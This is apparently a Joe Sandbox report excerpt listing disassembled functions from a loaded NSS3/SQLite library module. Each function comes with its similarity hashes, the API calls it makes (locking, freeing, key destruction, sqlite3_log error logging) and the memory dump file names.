Similarity

API ID: CriticalDeleteSectionfree$DestroyFreeIdentitiesK11_LayerMonitor
String ID:
API String ID: 160935448-0
Opcode ID: 5101833f4907c0523cc4f5dd3ffc5a21fb785f87b8484461ff1b2a29ea0ae6a1
Instruction ID: c1607ffb39a5ea67caf53d4d65f51932ce7ece801e1e85325c6b7c0f7a0c8da4
Opcode Fuzzy Hash: 5101833f4907c0523cc4f5dd3ffc5a21fb785f87b8484461ff1b2a29ea0ae6a1
Instruction Fuzzy Hash: EE116DF46016069BEB00DF66DC987267BA8EF45359B008474ED2ACBA01FB31D426CBA1

Function 6CC18FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CC20710), ref: 6CC18FF1
PR_CallOnce.NSS3(6CD62158,6CC19150,00000000,?,?,?,6CC19138,?,6CC20710), ref: 6CC19029
calloc.MOZGLUE(00000001,00000000,?,?,6CC20710), ref: 6CC1904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CC20710), ref: 6CC19066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CC20710), ref: 6CC19078

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 9d1d25147094f322c1dddf6a94577536b4a32da3715861527998bf0931b79309
Instruction ID: d6405057594babb65ff0ed2b4909898bc37d3484027f611565f9a39244c73c29
Opcode Fuzzy Hash: 9d1d25147094f322c1dddf6a94577536b4a32da3715861527998bf0931b79309
Instruction Fuzzy Hash: 0711E161B081515BF7201BABAC44A7A36ACEB867ACF500131FD88C6F40F752DD56E3B5

Function 6CC2CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC41E10: TlsGetValue.KERNEL32 ref: 6CC41E36
Part of subcall function 6CC41E10: EnterCriticalSection.KERNEL32(?,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC41E4B
Part of subcall function 6CC41E10: PR_Unlock.NSS3 ref: 6CC41E76

free.MOZGLUE(?,6CC2D079,00000000,00000001), ref: 6CC2CDA5
PK11_FreeSymKey.NSS3(?,6CC2D079,00000000,00000001), ref: 6CC2CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC2D079,00000000,00000001), ref: 6CC2CDCF
DeleteCriticalSection.KERNEL32(?,6CC2D079,00000000,00000001), ref: 6CC2CDE2
free.MOZGLUE(?), ref: 6CC2CDE9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: ce109ffe920bb93a19fc627b1d2c9276bf4ce8147b9c1c657b82edf4b9a96210
Instruction ID: c2a0b43d89b45a8e43c6a5e117a07fc10a43075fa5a3a057c04bff7675867136
Opcode Fuzzy Hash: ce109ffe920bb93a19fc627b1d2c9276bf4ce8147b9c1c657b82edf4b9a96210
Instruction Fuzzy Hash: 4611A0B6B01111ABFB00AA65EC84996B72CFF44268B104161EA0987E01F736E434C7E1

Function 6CC63D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CC638A2), ref: 6CC63DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CC638A2), ref: 6CC63DBF

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CC638A2), ref: 6CC63DF8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: 878d7e053244239be00c55da340c68d4f3ac6b3c8b90197916095ab800c68c01
Instruction ID: 990637608ad3281d173f2d56863e2a50497e51a72419cf3c28173dbeb5ed2fcc
Opcode Fuzzy Hash: 878d7e053244239be00c55da340c68d4f3ac6b3c8b90197916095ab800c68c01
Instruction Fuzzy Hash: 3F01D6B57051223BFB1056B75D89E3B3D6CDB817A9B180235FE29DAA80FA51DC1081F1

Function 6CC92CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC92CEC

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC92D02
PR_EnterMonitor.NSS3(?), ref: 6CC92D1F
PR_ExitMonitor.NSS3(?), ref: 6CC92D42
PR_ExitMonitor.NSS3(?), ref: 6CC92D5B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: a858efbd13cd12212fd942a9c9a2d72ff340d3a87db8bd8ea0edf1a2a1a7130c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 570184B6A102049BE7309F26FC45BC7B7A5EF45318F004565E89986B20F732F915C793

Function 6CC92D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC92D9C

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC92DB2
PR_EnterMonitor.NSS3(?), ref: 6CC92DCF
PR_ExitMonitor.NSS3(?), ref: 6CC92DF2
PR_ExitMonitor.NSS3(?), ref: 6CC92E0B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: c5379a0219d3a01f04a65a653da4fe5f39a26d0ca52a8c995a2c94d4afde698d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: CA01A1B2A102049BEB309E25FC45BC7B7A5EB45319F000535E89986B21F632E925C693

Function 6CC2AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC13090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC2AE42), ref: 6CC130AA
Part of subcall function 6CC13090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC130C7
Part of subcall function 6CC13090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC130E5
Part of subcall function 6CC13090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC13116
Part of subcall function 6CC13090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC1312B
Part of subcall function 6CC13090: PK11_DestroyObject.NSS3(?,?), ref: 6CC13154
Part of subcall function 6CC13090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CC099FF,?,?,?,?,?,?,?,?,?,6CC02D6B,?), ref: 6CC2AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CC099FF,?,?,?,?,?,?,?,?,?,6CC02D6B,?), ref: 6CC2AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?,00000000), ref: 6CC2AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?,00000000), ref: 6CC2AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC02D6B,?,?), ref: 6CC2AEA3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 0103b0ff492aedc64dcfcc93f3009a82c7381bf285cf416ea1515ce107df4967
Instruction ID: 2e703bae9ab7a4d501e650535facb2b8d65cd70787a3d2724910f5220f00d3a1
Opcode Fuzzy Hash: 0103b0ff492aedc64dcfcc93f3009a82c7381bf285cf416ea1515ce107df4967
Instruction Fuzzy Hash: 5001F4ABB041105BE701A12EAC91BAF31588BC765CF080032E909C7B41F629C92B42A3

Function 6CD1BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDC3
free.MOZGLUE(?,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BDE9
free.MOZGLUE(?,00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BE21
free.MOZGLUE(00000000,00000000,?,6CD17AFE,?,?,?,?,?,?,?,?,6CD1798A), ref: 6CD1BE32

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: aef3f98b66e0e39ff7d69a74ca7d003ddf6e73d8ee2045d81d40729e06dba59e
Instruction ID: 64a597dc4a65c3ce1a93125cc61c38426cb0e1d8d0a9b8c5a8448a2a09bb0d71
Opcode Fuzzy Hash: aef3f98b66e0e39ff7d69a74ca7d003ddf6e73d8ee2045d81d40729e06dba59e
Instruction Fuzzy Hash: FB111CB5B05240AFFF00DF2AD849B223BBDBB4A258F440069E78AC7751E7319414CBB1

Function 6CCAACF0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?), ref: 6CCAAD10

Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED8F
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED9E
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFEDA4

PK11_FreeSymKey.NSS3(?), ref: 6CCAAD22
free.MOZGLUE(?), ref: 6CCAAD3C
free.MOZGLUE(?), ref: 6CCAAD57
free.MOZGLUE(?), ref: 6CCAAD61

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$DestroyFreeK11_Monitor
String ID:
API String ID: 3401493251-0
Opcode ID: 596bf5fcfb74d772ca382ab7be31e2b90ef185dfc72f1f7a14f2999531e3398a
Instruction ID: 7a98f069accb9fa38e48d14548b1b0a49ef8c578762add8f444e6ad4d7ded6e2
Opcode Fuzzy Hash: 596bf5fcfb74d772ca382ab7be31e2b90ef185dfc72f1f7a14f2999531e3398a
Instruction Fuzzy Hash: 57014CB4A01B025BE760DF79D848747B7E8BF45759B104839E89AD3A10FB30F415CB91

Function 6CC63E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CC63975), ref: 6CC63E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CC63975), ref: 6CC63E38

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CC63975), ref: 6CC63E52
DeleteFileW.KERNEL32(00000000), ref: 6CC63E5D
free.MOZGLUE(00000000), ref: 6CC63E64

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 328438b86f48a0d101bb2b76a3ac81a966519da068727d83db4925019a11bda4
Instruction ID: 9f2ca931de318affbeb8f6e749229be3a2fad77c134dedb1665c3ae7cebdcc33
Opcode Fuzzy Hash: 328438b86f48a0d101bb2b76a3ac81a966519da068727d83db4925019a11bda4
Instruction Fuzzy Hash: 61F054B53061023BFB10257A5D89E37355CDB869B9B680635BE29C59C1F940DC118271

Function 6CD17C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CD17C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17C83
malloc.MOZGLUE(00000001), ref: 6CD17C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD17C9F
PR_GetCurrentThread.NSS3 ref: 6CD17CAD

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 1265bec9cff612158242f4a50790427446f9c26fdc2d9c6c9fb370ccda466f7b
Instruction ID: fcec64bd0d022b1de11089bffe200ca9bd35021729d49dad1650d340da4034ed
Opcode Fuzzy Hash: 1265bec9cff612158242f4a50790427446f9c26fdc2d9c6c9fb370ccda466f7b
Instruction Fuzzy Hash: 1AF0C2B1A14206BBEB00AF7AEC099877B5CEF44269B018435E809C3F20EB30E114CAE5

Function 6CD1ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD1A6D8), ref: 6CD1AE0D
free.MOZGLUE(?), ref: 6CD1AE14
DeleteCriticalSection.KERNEL32(6CD1A6D8), ref: 6CD1AE36
free.MOZGLUE(?), ref: 6CD1AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD1A6D8), ref: 6CD1AE47

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6f9b45512441d622ee11c7d9eadf8c7cfa669ab5b75de00e79196db08edd52a1
Instruction ID: 53c1640476c1d299895b566afa6cffe71997aa5b44a1bc1290566bc4c5113606
Opcode Fuzzy Hash: 6f9b45512441d622ee11c7d9eadf8c7cfa669ab5b75de00e79196db08edd52a1
Instruction Fuzzy Hash: C8F0F679601A01A7DB109F68E8489177B7CBFCA774B100328F22E83940D731E015CBD1

Function 6CCD1DB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001788E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD1E79

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD1E63
%s at line %d of [%.10s], xrefs: 6CCD1E72
misuse, xrefs: 6CCD1E6D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: c12ce31f9ec5740b38995c4c853db9d7cc417c2628610a60af7ef568a361349f
Instruction ID: cdda42e8a972e73279efb1ce85c9af97c066da5cf4644416285b37ad984b9ebf
Opcode Fuzzy Hash: c12ce31f9ec5740b38995c4c853db9d7cc417c2628610a60af7ef568a361349f
Instruction Fuzzy Hash: 8651A471B002218BDB04CF59C8447AE77B2BF85728F194569DA19ABB41E730FC41C791

Function 6CBA7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA7D13, 6CBA7D1F, 6CBA7D47, 6CBA7D53, 6CBA7D5F
%s at line %d of [%.10s], xrefs: 6CBA7D2E
database corruption, xrefs: 6CBA7D29

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 4dd1645615465af43b0bf7d0ece7c085352caebcb07296d2c57551c9651371f3
Instruction ID: d01863fded8a4c73d0334e96568330b8767f353e904400c6e7e08011a7642fed
Opcode Fuzzy Hash: 4dd1645615465af43b0bf7d0ece7c085352caebcb07296d2c57551c9651371f3
Instruction Fuzzy Hash: 3F310371E0C279A7D7108F9DC880DBDB7E1EF84205B5945A6E4C8B7A8AD6B0D842C7A0

Function 6CB96C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB96D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB96D20
%s at line %d of [%.10s], xrefs: 6CB96D2F
database corruption, xrefs: 6CB96D2A

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
